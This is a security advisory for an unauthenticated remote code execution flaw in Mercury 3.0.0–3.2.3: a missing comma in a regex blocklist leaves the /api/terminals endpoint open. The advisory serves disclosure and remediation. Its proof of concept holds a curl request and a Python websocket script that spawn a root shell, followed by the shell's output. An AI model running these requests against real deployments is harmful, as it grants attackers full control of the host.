---
id: CVE-2026-111057
aliases:
  - GHSA-f8c7-rwf9-fmgm
title: >-
  Mercury: Unauthenticated Remote Code Execution in /api/terminals - access
  control bypass
summary: >-
  Mercury: Unauthenticated Remote Code Execution in /api/terminals - access
  control bypass
severity: critical
cvss: 10
cwe:
  - CWE-185
  - CWE-284
vendor: mercury
product: mercury
ecosystem: pip
affected:
  - 'mercury >= 3.0.0, <= 3.2.3'
patched:
  - mercury 3.2.4
published: '2026-10-19'
updated: '2026-10-19'
sourceUpdated: '2026-10-19T17:00:55Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-f8c7-rwf9-fmgm'
references:
  - url: 'https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm'
  - url: >-
      https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f
  - url: 'https://github.com/mljar/mercury/releases/tag/v3.2.4'
  - url: 'https://github.com/advisories/GHSA-f8c7-rwf9-fmgm'
tags:
  - ghsa
  - pip
  - cve.org
ingestedAt: '2026-10-19T16:32:30.071Z'
---

## Overview

### Summary
A missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

### Details
The blocklist in `mercury_app/block_handler.py` is defined as:
```
BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]
```
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)
/api/shutdown(?:/.`*`)?
/files(?:/.`*`)?

A direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

### PoC
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default
configuration.
 
**Step 1 - spawn a terminal:**


```
curl -i -X POST http://localhost:8888/api/terminals
```
Response: `{"name": "1", "last_activity": "..."}`

**Step 2 - connect to the terminal and execute commands:**


```
python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"
```


Observed output:

```
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
```


Confirms full, interactive root shell access with no authentication or prior access of any kind.


### Impact
- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.
- **Availability:** attacker can shut down or crash the server/container.
- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

### Fix
Add the missing comma so `/api/terminals` becomes an independent blocklist rule:
```
BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]
```

## Affected packages

- `mercury >= 3.0.0, <= 3.2.3`

## Remediation

Upgrade to a patched release:

- `mercury 3.2.4`